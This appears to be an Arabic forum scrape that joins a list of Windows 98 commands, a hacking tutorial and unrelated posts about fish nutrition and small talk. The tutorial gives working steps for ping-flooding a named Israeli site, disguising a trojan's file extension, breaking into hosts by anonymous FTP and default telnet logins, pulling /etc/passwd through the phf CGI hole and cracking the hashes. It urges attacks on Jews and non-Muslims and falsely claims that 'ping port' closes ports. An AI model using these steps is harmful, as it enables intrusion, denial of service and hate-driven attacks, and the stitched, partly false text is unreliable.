هذا الأمر لتشغيل معالج محول محركات الأقراص إلى نظامfat32
31-SCANREG
مدق تسجيل ويندوزلتفحص التسجيل
32-Tune up
هذا الأمر لتشغيل معالج الصيانة ومن مهامه:
1/ تسريع البرامج المستخدمة بشكل متكر
2/ تدقيق القرص الثابت لاستكشاف الأخطاء
3/ حذف الملفات الغير ضرورية من الجهاز
ويمكن استخدام هذا الأمر لنفس الغرض TUNEUP.EXE
34-SYSEDIT
محرر تكوين النظام لا ينصح بتغير أي شيء فيها إلا من قبل الخبراء أو من لديهم معرفة تامة بالتعديلات التي يريدون عملها على هذا المحرر
35-VCMUI
أداة تعارض الإصدارة وظيفتها التحق من الملفات التي لديها رقم إصدارة احدث أو كانت بلغة مختلفة قبل تثبيت النظام لاستعادتها
شرح مبسط عن هذه الأداة:
أثناء تثبيت برامج جديدة، بما فيها ******s 98، قد يتم الكشف عن الإصدار القديمة لملفات
البرامج واستبدالها بالإصدار الجديدة. ويتم إنشاء نسخة احتياطية للإصدارت السابقة وتُحفظ
على القرص الثابت.
في حال وجدت تعارضات مع ملفات النظام أو ملفات البرامج بعد تثبيت تطبيق، تُستخدم إدارة تعارض
الإصدار لاستعادة ملف النسخة الاحتياطية.
وتذكر إدارة تعارض الإصدار كافة ملفات النسخة الاحتياطية، وتاريخ إجراء النسخة الاحتياطية،
وأرقام الإصدار لملفات النسخة الاحتياطية والملفات الحالية. وعند استعادة ملف النسخة الاحتياطية،
حينئذ، يتم إنشاء نسخة احتياطية للإصدار الحالي. ويبقى الإصداران متوفرين.
ملاحظة مهمة : يجب استخدام هذه الأداة من قبل شخص لديه معرفة متقدمة بالنظام
36-UPWIZUN
إلغاء تثبيت معالج التحديث وظيفته كالتالي:
ربما قد استخدمت ******s Update لتثبيت إصدار محدّث من أداة تصحيح،
أو برنامج تشغيل، أو أداة نظام. إذا قرت فيما بعد إلغاء تثبيت الإصدار الجديد،
ولم تتمكن من إعادة تأسيس الاتصال بإنترنت، استخدم إلغاء تثبيت معالج التحديث
للعودة إلى الإصدار السابق.
37-Asd.exe
أداة تشغيل عامل برنامج تشغيل التخطي التلقائي
وظيفته: يعرّف برنامج تشغيل التخطي التلقائي (ASD) حالات الفشل
التي تسبت في توقف ******s عن الاستجابة في عمليات بدء التشغيل السابقة
ويضع عليها علامات بحيث يتم تجاوزها في عمليات بدء التشغيل الاحقة.
يذكر ASD كافة الأجهزة أو العمليات التي فشل بدء تشغيلها. ويمكنك استخدام ASD لتمكين
أي جهاز تم تعطيله سابقاً بواسطة ASD، وسيحاول ******s استخدام الجهاز
في محاولة بدء التشغيل التالية. وفي حال الفشل، يتوقف الكمبيوتر عن الاستجابة.
وعند إعادة تشغيل الكمبيوتر مرة أخرى، يمنع ASD تشغيل العملية سامحاً لك بدء تشغيل الكمبيوتر

من العقرب الأحمر

——————————————–

———————————————————————

الدوس هو برنامج يأتي مع الويندوز وهو عبارة عن مواجهه خطية يتلقى الأوامر من المستخدم ويقوم بتنفيذها.هذا باختصار
والهكر عن طريق الدوس(DOS) له تأثير مرعب وقوي جداً وهذه بعض أوامر الدوس حتى نتعرف عليه أكثر:-
لتشغيل الدوس إذهب إلى إبدأ>تشغيل>وأكتب command أو (start>run

———————————————————————
1-أكتب الأمرmsconfig لمعرفة البرامج التي تعمل وقت التشغيل او عند بدء التشغيل ولتجنب الاختراق يمكنك عن طريق هذا الامر ثم إذهب إلى بدء التشغيل وانظر الى البرامج العامله وقم باطفاء أي برنامج غريب يعمل عند بدء التشغيل.
2- الأمر Control لفتح لوحة التحكم .
3- الأمر telnet لفتح نافذة التلنت والاتصال بجهاز بعيد بمعرفة الاي بي والبورت.
4- الأمر pi http://www.israel.org لمعرفة IP الموقع ويستعمل في الهجوم ضد الموقع. ملاحظه/هناك مسافه بين ping http. يمكنك تغير (israel.org) بأي موقع.
5- الأمر ping -twww.israel.org لارسال رسايل تتسب في انهيار الموقع عند اجتماع الكثير من المستخدمين على القيام بها ضد موقع معين .
6- الأمر netstat -n لاظهار IP أي شخص انت ترسل له ملف عبر الماسنجر اكتب هذا الامر بينما انت ترسل وسيظهر IP تبعه في موجة الدوس والاي بي تبعك انت ايضا.
7- الأمر winipcfg لمعرفة IP الخاص بك.
8- الأمر System.ini انظر الى السطر السادس ولابد ان يكون هكذا user.exe=user.exe والا فجهازك مخترق
9- الأمر regedit ثم اتبع الاتي

HKEY_LOCAL_MACHINE>SOFTWARE>Mi crosoft>******s>Curr entVersion>Run واي ملف يحمل امتداد exe واسمه name قم بحذفه فهو الباتش تقريبا .

———————————————————————

اما بخصوص بينق تدمير المواقع فهي كالتالي:-
1- pi http://www.israel.org لمعرفة IP الموقع.
2- ping http://www.israel.org يحمل الضغط على الموقع المستضيف.
3- ping -t -a http://www.israel.org يقوم بإعطاء أوامر إلى المستضيف.
4- ping -w timeo http://www.israel.org قوم بتوضيح سرعة الموقع الحالية.

———————————————————————

10- كيف تستخدم اوامر الدوس في بعض الهجوم
con/con.wav
com1/com1.wav
com2/com2.wav
التفاصيل هنا

============================== ==

طريقة تغير امتداد exe عن طريق الدوس جديد

اتبع الخطوات التالية:-
إبدأ>تشغيل>وأكتب command أو (start>runcopy server.exe server.com طبعا server هو اسم الباتش تبعك وممكن تغير الامتداد الى com,scr,bat إخواني المسلمين لاتستخدموا هذه الطريقة ضد إخوانكم المسلمين وانما استخدموها ضد الكفار كما هو هدف الموقع وبخوصا اليهود قاتلهم الله ولعنهم.

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= *=*=*=*=*=*=*=*=*=*=

*=*=*=*=*

()()(هجوم الدوز المخيف)()(

———————————————————————

هجوم DOS هو واحد من أخطر أنواع الهجمات الموجودة في الفضاء الافتراضي، وهو يكلف عالم الأعمال ملاين الدولارات كل عام، كما يشكل تهديداً حقيقياً لأي نظام أو شبكة موجودة على طريق المعلومات السريع، تتعلق هذه التكلفة بزمن تعطل النظام، ضياع الموارد، والعمل الفيزيائي الازم لتحليل والرد على هذا النوع من الهجوم.

ليس المقصود ب DOS نظام التشغيل الشهير من مايكروسوفت، إنما المقصود هو هجوم رفض الخدمة Denial of Service Attack ، حيث يقوم المخترق بهذا الهجوم بهدف التخريب والتدمير، وهو لا يحتاج إلى مهارة عالية أو معرفة تقنية عميقة لأن الأدوات الضرورية متاحة ويمكن بسهولة تحميلها من الإنترنت.

أصابت هجمات DOS العديد من المواقع المهمة والضخة مثل CNN, , Bay, ZDNet…. وغيرها، ما أدى إلى توقفها تماماً عن العمل لفترات مختلفة، حدث ذلك في شهر فيبراير من العام 2000.

يعتمد هذا الهجوم على استغلال نقاط الضعف في بروتوكول (TCP/IP) المصمم للعمل أساساً في بيئة آمنة مفتوحة، ما جعله يحوي العديد من الثغرات التي يمكن أن يستخدمها المخترقين Crackers.

من المفارقات في هذا الموضوع أن المخترقين المحترفين وحتى المخربين منهم يعتبرون هذا النوع من الهجوم أنه رديئ ويسخرون من يقومون به باعتباره أنه اسلوب المبتدئين، ولا يحتاج إلى معرفة وخبرة.
———————————————————————
يوجد العديد من أنواع الهجوم DOS سوف أحاول أن أسردها باختصار:
1-استهلاك عرض الحزمة Baud rate consumption
حيث يقوم المهاجم باستهلاك كامل عرض الحزمة في نظام شبكة الضحية وذلك باغراق شبكة الضحية بكمية هائلة من الطلبات مثل: GET, SYN… وغيرها، ما يؤدي إلى استهلاك كامل عرض الحزمة وإيقاف الموقع المستهدف أو النظام المهاجم تماماً عن العمل، ويكون ذلك إما بالهجوم مباشرة Direct Attack حيث ينتصر في هذه الحالة من لديه عرض حزمة أكبر ( مثلاً 56-Kbps في مواجهة 128-Kbps )، أو القيام بربط العديد من المواقع من أجل إغراق نظام الضحية حيث يقوم المهاجم باستخدام أنظمة البث broadcast في شبكات أخرى من أجل تضخيم الهجوم، ويستفيد في هذه الحالة من عرض حزمة تلك الشبكة.
من الجدير بالذكر في هذا الصد أن برنامج الدرة من عمران يستخدم هذا النمط من الهجوم، على الرغم من أني لم أقم بعد بتحليله كاملاً بعد، إلا أني أستطيع القول من التحليل المبدئي على أنه يقوم بارسال طلبات GET حسب بروتوكول HTTP إلى النظام المستهدف وهو في هذه الحالة Web server ما يؤدي إلى زيادة الحمل على المزود المستهدف، يقوم البرنامج بذلك عن طريق إنشاء عدة Threads تعمل كل منها على أنها Process مستقلة تقوم بارسال طلبات GET المذكورة، إن فعالية هذا الهجوم قليلة حيث أن المستخدم مهما استخدم من عرض الحزمة لديه فلن يتمكن أبدا من مجاراة عرض حزمة المواقع الكبيرة، إلا أن القوة الحقيقية تكون عند التنسيق بين المئات أو الآلاف من مستخدمي هذا البرنامج بحيث يتم الهجوم على هدف محد في وقت معين بدقة، وهذا مايقوم به برنامج الدرة حيث أنه يقوم بالاتصال بالموقع xxxxx.xxx (الموقع ليس سريا ويمكن بسهولة معرفته إلا أني لن أذكره إلا إذا رغب عمران بذلك) ويحصل منه على أهداف الهجوم، ثم يقوم بالهجوم. (شكرا ل Sp@nder على تزودي بنسخة من برنامج الدرة).

2-استهلاك الموارد: هذا النوع من الهجوم يعتمد على استهلاك الموارد في نظام الضحية عوضا عن استهلاك عرض الحزمة. أهم الموارد التي يتم استهدافها هي: CPU, Memory, Kernel, File system … وغيرها، و يؤدي انخفاض الموارد في النظام إلى عدم استقراره وانهياره في نهاية الأمر.

3- الثغرات البرمجية أو في مكونات النظام:
لا يوجد نظام أو برنامج خالي تماماً من الثغرات مهما بلغت دقة تصميمه، يوجد عدة طرق لاستغلال هذه الثغرات مثلا بارسال Packets غير متوفقة مع المعاير القياسية ل بروتركول TCP/IP المحدة من قبل RFC إلى نظام الضحية ما يؤدي إلى نتائج تختلف حسب نوع البرنامج من توقف الخدمة، أو توقف النظام، أو ضياع المعلومات، أو فيضان المكدس stack وغير ذلك.
والأسوأ من هذا استخدام الثغرات الموجودة ضمن المكونات الصلبة للنظام Hardware مثل ثغرة Pentium f00f DOS الشهيرة، حيث يؤدي تنفيذ شفرة الآلة opcode التالية 0xf00fc7c8 على أنظمة تعتمد معالجات بنتيوم إلى توقف النظام عن العمل تماماً.
لسوء الحظ لا يمكن الكشف عن هذا النوع من الثغرات إلا بعد وقوع الهجوم. ولا أحد يعلم تماماً فيما إن كانت هذه الثغرات موجودة عن طريق الخطأ أم أنها موضوعة هناك عن عمد لسب ما…… ؟؟؟؟؟!!!!!!! الله أعلم

كما يوجد أنواع أخرى من هجمات DOS إلا أنها أقل فعالية وغير مستخدمة على نطاق واسع.

كنت أنوي أن أتحدث عن طرق الحماية من هجوم رفض الخدمة إلا أن الموضوع طويل ويحتاج إلى عدة مقالات لمناقشته، إلا أن المهم بالنسبة للمستخد المنزلي هو إخفاء رقم IP الخاص به واستخدام أحد برامج الجدران النارية مثل ZoneAlarm, PcConseal …وغيرها، وطبعا أخذ الحذر في مواقع المنتديات والدردشة وخاصة منتدى الشبكات والسيرفرات في موقع فلاشيات 😉
———————————————————————

مايتطسع فعله netstat

============================== ================

NETSTAT حالة الشبكة يظهر جميع المنافذ المتصلة
NETSTAT مسافة-A يظهر ارقام الايبي المتصلة وحالتها
NETSTAT مسافة-E يظهر حالة الشبكة بشكل عام
NETSTAT مسافة-N يظهر ارقام البورتات والايبيات المتصلة
NETSTAT مسافة-P يظهر البروتوكولات المتصلة بجهازك
NETSTAT مسافة-R يظهر اجهزة الروترز في شبكتك
NETSTAT مسافة-S يظهر حالة الشبكة والاجهزة المتصلة

============================== =================

درس مهم لتعلم الاختراق بالtelnet
nor2000.com

درس مهم لتعلم الاختراق بالnetbios
nor2000.com

++++++++++++

FTP
أولا و لنجاح الإقتحام يجب ان يكون لدى الضحية البورت
21
مفتوح و هو البورت الخاص ب
FTP
و لتأكد من أن البورت مفتوح عليك ان تستعمل برامج السكان و هي كثيرة و من احسنها
Superscanne
بعدما تتأكد ان البورت مفتوح نتقل الى الخطوة الثانية و هي
إضغط على
Start
ثم
Run
ثم اكتب
ftp –n
تطلع لك نافدة في الدوس مكتوب عليها
FTP&g
لحد هنا كل شيء تمام
و بعدين اكتب
Open
ثم إضغط على
إدخال
Enter
تتحصل عب النتيجة التالية
FTP&g
To
أكتب جنب
To
رقم IP الضحية ثم إضغط على إدخال
و الحين اهم جزء

إدا تحصلت على هذا الرد فقد تخطيت خطوة
Connected to Assassin.com
220 websrv1 Microsoft FTP Service (Version 4.0).
و الآن أكتب الكتابة التالية
ftp&gquote user ftp
إدا تحصلت على هذا الرد فقد تخطيت خطوة
331 Anonymous acces allowed, send identify (e-mail name) as password.
و الآن أكتب الكتابة التالية
ftp&gquote cwd ~root
إدا تحصلت على هذا الرد فقد تخطيت خطوة
530 Please login with USER and PASS
ثم أكتب الكتابة التالية
ftp&gquote pass ftp
إدا تحصلت على هذا الرد فقد تخطيت خطوة
و نجحت في الإقتحام يعني الاختراق

230 Anonymous user logged in.
مبروك انت الحين في جهاز المسكين ذا الي بتحوسه
ما عليك الآن الا ان تقوم بإستعمال
اوامر الفتيبي
و طبعا لن امر عليها مرور الكرام لكي لا تقعو في المشكلة الي وقعت فيها و هي نجاح الإقتحام من دون ما أعرف و لا فكرة على اوامر الفتيبي و إذا اردتم ان تضحكو بقاليأكثر من 20 دقيقة و انا مجمد الإيدي و الضحية عالقة من دون أن أعمل أي شيء وعشان كذا
قمت وجبت الاوامرعشان تطبقوها مباشرةا بعد نجاح الاختراق

Pwd
لكي تعر ما يحتويه الهارد ديسك
Cd
لإقتحام مجلد مثال
Cd black
في هدا المثال قمت بإقتحام مجلد المسمى بلاك
Ls
لكي يتضح لك محتوى المجلد أو الهارد ديسك
Get
لكي تحمل الى سطح المكتب بتاع جهازك
مثال
Get black.exe
Put
العملية الع**ية ل
Get
يعني ان تأخد ملف من سطح المكتب بتاع جهازك و تضعه في
في جهاز الضحية
مثال
Put black.exe
Clos
لقطع الإتصال مع الضحية

هذا أهم الأوامر والحين ابعلمكم على أنواع الرسائل الي نتحصل عليها من جهاز الضحية مع تطبيق الأوامر و شرحها و ارقامها
Codes: Signification:
110 Restart marker reply.
120 Service ready in nnn minutes. (nnn est un temps)
125 Data connection already open; transfer starting.
150 File status oka about to open data connection.
200 Command okay.
202 Command not implemented, superfluous at this site.
211 System status, or system help reply.
212 Directory status.
213 File status.
214 Help message.
215 NAME system type.
220 Service ready for new user.
221 Service closing control connection.
225 Data connection open; no transfer in progress.
226 Closing data connection.
227 Entering passive mode (h1, h2, h3, h4, p1, p2).
230 User logged in, proceed.
250 Requested file action okay, completed.
257 "PATHNAME" created.
331 User name okay, need password.
332 Need account for login.
350 Requested file action pendingfurther information.
421 Service not available, closing control connection.
425 Can’t open data connection.
426 Connection closed; transfer aborded.
450 Requested file action not taken. (Fichier déjà utilisé par autre chose)
451 Requested action aborded: local error processing.
452 Requested action not taken. (Pas assez de mémoire pour exécuter l’action)
500 Syntax error, command unrecognized.
501 Syntax error in parameters or arguments.
502 Command not implemented.
503 Bad sequence of commands.
504 Command not implemented for that parameter.
530 Not logged in.
532 Need account for storing files.
550 Requested action not taken. (Fichier non trouvé, pas d’accès possible,…)
551 Requested action aborded: page type unknown.
552 Requested file action aborded.
553 Requested action not taken. (Nom de fichier non attribué)
————————
Telnet
ما هي التيل نت ؟
التيل نت هي أداة قديمة في لينوكس(Linux) وينوكس(Unix) وأصبحت الآن موجودة في ويندوز .
==========================
كيف يتم استخدامها سابقا ؟
كانت تستخدم للتصفح بحيث ان مواقع الانترنت كانت مجرد نصوص بدون صور … تخيل كم كانت الشبكة كئيبة …
==========================
كيف يتم استخدامها الآن ؟
1 قراءة بريدك الالكتروني بالطريقة التالية :
اذهب إلى متصفحك واكتب telnet://.com:25 وسوف يطلب اسم مستخدم وكلمة مرور(طبعا بعد ان يفتح التيل نت) ضع اسم بريدك وكلمة السر الخاصة بك واقرأ بريدك واتخدم الأمر Del msg#1 لحذف الرسالة الأولى وغير الرقم 1 برقم الرسالة المراد حذفها .
==================
2 اختراق الأجهزة :
ولها نفس الفكرة بحيث تقوم بالاتصال بجهاز على اساس انه سيرفر بإمكانك حذف إضافة إزالة الملفات فيه …
تتم أيضا بنفس الطريقة من متصفحك اكتب Telnet://IPNumberort حيث أن IPNumber هو رقم الآي بي الخاص بالضحية اما port هو رقم المنفذ القابل لإجراء التيل نت عليه وهو يفترض أن يكون أحد المنافذ التالية :
21 – 25 – 32(الأساسي) – 99 – 2001
والعديد العديد من المنافذ الأخرى وهذه فقط على سبيل المثال
==================
3 اختراق المواقع :
يجب أن يكون في الموقع منفذ قابل للتيل نت(قم باستخدام ShadowSecurityScanner لهذا الغرض) تجده في مو http://packetstorm.securify.com/ قم بالضغط على الوصلة التي سوف تظهر لك ثم ابحث عن البرنامج باسمه أو باسم SSS .
المهم بعد ما تتصل بالتيل نت للموقع حاول أن تدخل باي يوزنيم او باسورد من التالية أو غيرها :
اسم المستخدم : كلمة المرور
anonymous : anonymous
guest : guest
root : root
sys : sys
sys : sysadm
sys : system
games : games
ftp : ftp
mail : mail
وإن لم تنجح(في حال كون نظام التشغيل في السيرفر ينوكس Unix ويمكنك معرفته بواسطة البرنامج المذكورة أعلاه) جرب التالية :
young
test
لاحظ أنها غير محمية بكلمة سر وتسمى unpassworded accounts
أي الحسابات الغير محمية بكلمة سر .
اكتب الأمر :
GET /etc/passwd و GET /etc/group و GET /etc/shadow
ملاحظة : بعد كتابة كل أمر يجب أن تظيف :
data = download
لكي تتمكن من التحكم بالملفات .
============================== =====
ماهو الملف psswd ?
الملف ذا فضيحة فيه باسورد صاحب الموقع …وباسوردات غيرها بكثير من ظمنها باسورد الroot .
ملاحظة للمبتدئين : الroot هو الشخص الذي يستطيع التحكم بكل شيء وتخريب وتدمير كل شيء من دون أن يوقفه النظام وبإمكانه أن يكون أي مستخدم على الشبكة بواسطة الأمر su username ولن يحتاج إلى باسورد .
هذا الملف في ثلاث حالات :
1 مغير اسمه وصعبة نبحث لان الملفات الموجودة في الملف etc/ كثيرة جدا .
2 معمول له shadow وليس هناك طريقة لفك الshadow أو ما يسمى بunshadow .
3 متروك مثل ما هو ..
لنفترض أنه كان في الحالة الثالثة هل ستجد الباسوردات بسهولة ؟؟ لا وألف لا
الباسوردات مشفرة … سوف تراها كالمثال التالي :
sirhack:89fGc%^7&a, Ty:100:100: Sir Hackalot: /usr/sirhack:/bin/sh
هنا سوف نعرف المعلومات التالية:
1 اسم المستخدم : sirhack .
2 كلمة السر : 89fGc%^7 .
3 الاسم الحقيقي : Sir Hackalot .
4 مجلد الحساب : usr/sirhack/
5 الغلاف(هنا الكلام في ينوكس او لينوكس) : bin/sh/
كما رأيتم فكلمة السر مشفرة .
============================== =====
ما هو الملف group ?
هذا الملف يحوي اسماء المستخدمين مع كلمة السر(مشفرة ثانية) وحالاته نفس حالات الملف passwd إلا أنه لا يغير تسميته .
============================== =====
ما هو الملف shadow ?
في حالة كون الملف psswd مشفر سوف نحتاج إلى هذا الملف لانه لن يكون مشفرا …
============================== =====
كيف أفك التشفير ؟
استخدم أحد برنامجين :
1 Cracker Jack .
2 John the ripper .
وكلهما يوجد منهما نسخة لويندوز ونسخة للينوكس() …

نسخة الينوكس
John the Ripper password cracker

نسخة الويندوز
John the Ripper password cracker

++++++++++++++++++++++++++++++ ++++++++++++++++++++

التل نت اداة فقط بس هذي الاداة ضرورية في كل شي المهم راح اشرح اليوم طريقة الاختراق جربتها مره وصارت
وهي تعتبر من اسهل طرق الاختراق
خلينا نفسم الدرس الى اربع اقسام

بسم الله بدانا
القسم الاول:
اول شي ضروري نعرف بعض الاوامر اليونكس السهلة
HELP = HELP
COPY = CP
MOVE = MV
DIR = LS
DEL = RM
CD = CD
هذي مهمة جدا لنبدأ التعليم
واكو بعد WHO هذي اذا تعرف منو موجود على السيرفر وبعد اكو FINGER (اسم المستخدم) بين FINGER اسم المستخدم مسافة بدون الاقواس المهم ويا هذي الاوامر راح نقدر نتماشى ويا الدرس

القسم الثاني:
نظام اليونكس او السيرفر مالته يحتفظ في كلمات السر في etc directory/ واسم الفايل passwd انته هسه تتوقع انك بس حصلت هذا الملف انتهى الموضوع وصرت هاكر لا
انته غلطان ميه بالميه لانو الباسيوردات مشفره ومستحيل تقدر تطلع الباسيورد منها
بس اكو حل اكو برنامج اسمه Cracker Jack هو مثل القاموس للتشفير يحتوي على الكثير من الباسيودات تقدرتنزله http://www.geocities.com/SiliconValley/9185
وتقدر تحصل باسيوردات اكثر في sable.ox.ac.uk/pub/wordlists تنزله هو حوالي 4 ميجا بايت مظغوط يصير 8 ميجا بايت لاوم تحطه في ملف البرنامج
انا ان شاء الله راح اشرح برنامج Cracker Jack عن قريب بس اكو فايل موجود في البرنامج يعلمك المهم

القسم الثالث(الاصعب):
النظام يحفظ الباسيوردات احنا ما نقدر ندخل على السيستم لانو احن مو مصرح لنا المهم شلون نجيب ملف الباسيورد في طريقتين سهلات بس احيانا تشتغل
اولها تدخل للسيتم كانك anonymously لما تدخل مرات ftpمايكون مانع الدخول لملف الباسيوردات انته عليك تسوي etc directory/ تشوف اذا الباسيورد عليها حظراو لا اذا
ماكو عليها حظر بسهولة نزل ملف الباسيورد وشغل البرنامج Cracker Jack وطلع الباسيورد ومبروكة عليك بس اذا جان عليها حظر لازم تجرب الخطة الثانية في ملفات اسمها PHF هذي تحوي على كل شي باسيوردات وملفات والتحكم

فانته شلون تدخل عليها تفتح الاكسيبلوير
http://xxx.xxx.xxx/cgi-bin/phf?Qali…t%20/etc/passwd
ملاحظة بدال الاكسات تكتب عنوان الموقع انا نجحت بالدخول على موقع عن طريق هذا بالمناسبة تقدر تخترق منتدى عن طريق هذي الحركة
اذا ما نجحوا الحركيتن معناها الباسيورد مضل يعني موجود هذا النظام لحفظ الباسيوردات الي انته ما تقدر تدخل عليها بس ماكو شي مستحيل
مرات في بعض الانظمة يكون السيستم بيه backup للباسوردت وتقدر تبحث عنه مثلا في etc/shadow/ بس يمكن تشتغل ويمكن ما تشتغل انته وحظك
ولهذا السب انا معجب جدا في نظام apache لانه نظام رائع جدا ولايمكن اختراقه بسهولة

الجزء الرابع:
زين هسه حصلت الباسيوردمال اليوزر نيم الي تريد تخترقه شلون تقدر تاخذها الك؟؟
شوف
تفتح التل نت وتدخل على السيرفر وتكتب اليوزر نيم والباسيورد بعدني تقدرتسوي الي يحلو لك طبعا لكل سيرفر اوامر يوجد امثلة على السيرفر

UNIX,linux, aix, irix, ultrix, bsd, or sometimes even DOS or Vax / Vms)

ملاحظة:يا اخوان انا لو اعرف نظام اليونكس جيدا كان جعلت من نفسي هاكر قوي ولكني كنت تحت غشاوة البرامج بس هسه الحمد لله بديت اتعلم اليونكس ثم سابدا بنظام اليونكس
وان شاء الله ذلك سيساعدني على جعل من نفسي كل الهاكرز الحقيقن يعتمدون على اليونكس وليش على البرامج فيا اخوان شيلوا عنكم غشاوة
السب سفن وغيره وما عليك الا تتعلم من كتب او تاخذ كورس براحتك وانا مستعد اورك ابواب مال الهاكرز راح تتعجب انا ما اقور هذا الكلام ني خبير او اي شي ثاني
اقوله دعوة الكم والي حتى نبدأ بالطريق الصحيح للهاكرز

الطاعون
+++++++++++++++++++++++++++

إغلاق المنافذ port الموجودة بالجهاز

اول شيء بقوله انه الكثير منا قد يتخوف من الهاكر واكثر البرنامج ( الفايرول ) الجدار الناري قد تفى بالغرض ولكن لو لم تستخدم بطريقه سليمه فيكون وجودها مثل عدمها ……

اقدم لكم هذه الطريقه التى عن طريقها تستطيع تقفيل جميع البورتات ( الثغرات الامنيه ) الموجوده بكل الاجهزه .

اتمنى اتباع الطريقه كما هي :
إدهب إلى:
Start&gRun ابداء &l تشغيل

واكتب الامر التالي
command.com

ستظهر لك نافذة إكتب فيها:
ping host

و إضغط enter ثم إنتظر و اكتب:
ping port

و إضغط enter

ثم إنتظر و اكتب:
ping port1027
وإضغط enter
و إنتظر ثم إكتب:
ping port80

و إضغط enter
ثم اكتب:
ping
و إضغط enter

ثم اكتب:
ping port
و إضغط enter

و الآن إنتهت المهمة.. لقد قمت بتقفيل بورت في ال الخاص بك و لقد تم منع دخول الهاكرز من تلك الثغرة الأمنية.
اتمنى الموضوع يعجبكم لا تنسوني بالردود




التصنيفات
الاستشارات الخاصة و استشارات الصحة و الطب

الأسماك تزيد من قدرة الأطفال على استيعاب المعلومات

الأسماك تزيد من قدرة الأطفال على استيعاب المعلومات

باريس: أفادت دراسة علمية حديثة بأن الأسماك تزيد من قدرة الأطفال على استيعاب المعلومات، كما أنها تؤثر بطريقة مباشرة على المخ.
ويرجع ذلك لاحتوائها على الفوسفور الذي يساعد على تطوير الخلايا العصبية في المخ.
وأوضحت الدراسة أن الأطفال الذين يتناولون الأسماك بصفة منتظمة تجعلهم أكثر ذكاءً من الآخرين، ولذا ينصح العلماء بتناول الأسماك مرتين في الأسبوع على الأقل خاصةً بالنسبة للأطفال وذلك لتنمية الخلايا العصبية في المخ .
يذكر أن تناول الأم الحامل للأسماك مفيد جداً لتطور أدمغة جنينها.
:15_5_10[1]:




الله يعطيكي العافيه حبيبتي



التصنيفات
العناية بالبشرة و الجسم

اكتبي اسم المرض ويطلعلك كل المعلومات عنه ما رح تندموا اتفضلو للعناية بالشعر

صباحمساء الخير للجميع
بسم الله الرحمن الرحيم

كل ما عليكم الدخول عن طريق الرابط التالي

وكتابة اسم المرض

]وسوف يأتيكم تقرير مفصل عن المرض

http://go.3roos.com/5457vb43n4z

(((منقول ))):a5bdf2b232:




روعة ياعمري



شكرا جدا جدا رائع



مشكروره على الموضوع من جد روعه تسلمين يا قمر



مشكورة ع الموضوع تم التفحيط له



التصنيفات
السيدات و سوالف حريم

لنتشارك المعلومات

خليجية

فِيَ كُلِ يوِمٍ نتعْلَمُ شَيءٌ جْدَيدٌ …

و لَنْ نُبألغَ إنَ قولنآ فِيَ كْلِ لحْظةٍ وَ فيَ كُلِ مشَهْدٍ مِنَ مَشْأهدِ ألحْيأة ..!

نَكْتسبُ خُبرأتٍ وَ مَعَلُوَمْأتٍ على مَرِ ألسْنينِ .., !

[ مِنَ خِلآلِ ألقِرآءةِ فِيَ ألكُتُبِ أوِ ألدِرأسةِ أوِ مِنَ ألآطِلآعِ عَلى ألآنترِ نِتَ أوِ حَتىَ مِنَ ألحْيأةِ ] …هُنآ نسْكُبُ مَا تعلمَنأهُ , وِنَنَثرُ تِلْكَ ألمَعلوِمآت عَلى صَفحآتٍ تنيرِ ألعْقلَ وْ ألفكْرِ ~

شَآرِكُينيَ ..

:010:




موضوع روعة
لكي مني أحلى تقييم

أخر معلومة قرأتها
هي كنتي حطاها في موضوعك
أن الانسان لا يجب أن
ينام وهو زعلان لأن هذا يتسبب
في موت الخلايا الدماغية




خليجية



اقتباس:
المشاركة الأصلية كتبت بواسطة صفاء* خليجية
خليجية

:icon_razz: أشكر مرورك يالغالية :icon_razz: